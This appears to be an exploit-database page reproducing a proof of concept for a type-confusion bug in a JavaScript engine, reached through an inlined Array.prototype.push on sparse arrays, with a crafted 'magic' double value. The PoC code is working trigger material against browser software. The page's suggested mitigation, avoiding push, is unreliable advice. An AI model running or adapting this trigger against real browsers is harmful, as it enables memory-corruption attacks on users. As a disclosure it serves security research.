header-logo
Suggest Exploit
vendor:
Unknown
by:
Anonymous
7.5
CVSS
HIGH
Type Confusion
843
CWE
Product Name: Unknown
Affected Version From: Unknown
Affected Version To: Unknown
Patch Exists: No
Related CWE: None
CPE: None
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Unknown
2020

Type Confusion with Array.prototype.push Method

This vulnerability is similar to issue 1531. The patch seems to prevent type confusion triggered from StElemI_A instructions. But the SetItem method can also be invoked through the Array.prototype.push method which can be inlineed. A proof-of-concept code is provided which shows how type confusion can be achieved with the push method in the same way used for issue 1531. The code creates an array with three elements, deletes the second element, and then calls the opt() function with the array and a value. The opt() function pushes the value to the array and sets the first element to a magic value. When the main() function is called, it creates an array with one element and calls the opt() function with the array and a magic value. When the alert() function is called, it shows the array with the magic value in the first element.

Mitigation:

The best way to mitigate this vulnerability is to ensure that the Array.prototype.push method is not used in any code that is vulnerable to type confusion.
Source

Exploit-DB raw data:

/*
This is similar to  issue 1531 . The patch seems to prevent type confusion triggered from StElemI_A instructions. But the SetItem method can also be invoked through the Array.prototype.push method which can be inlineed. We can achieve type confusion with the push method in the same way used for  issue 1531 .

PoC:
*/

function opt(arr, value) {
	arr.push(value);  // <--------
	arr[0] = 2.3023e-320;
}

function main() {
    for (let i = 0; i < 0x10000; i++) {
		let tmp = [1.1, 2.2, 3.3];
		delete tmp[1];

        opt(tmp, 2.2);
    }

    let arr = [1.1];
    opt(arr, -5.3049894784e-314);  // MAGIC VALUE!

    alert(arr);
}

main();

Navigation

Suggest Exploit

Services By CQR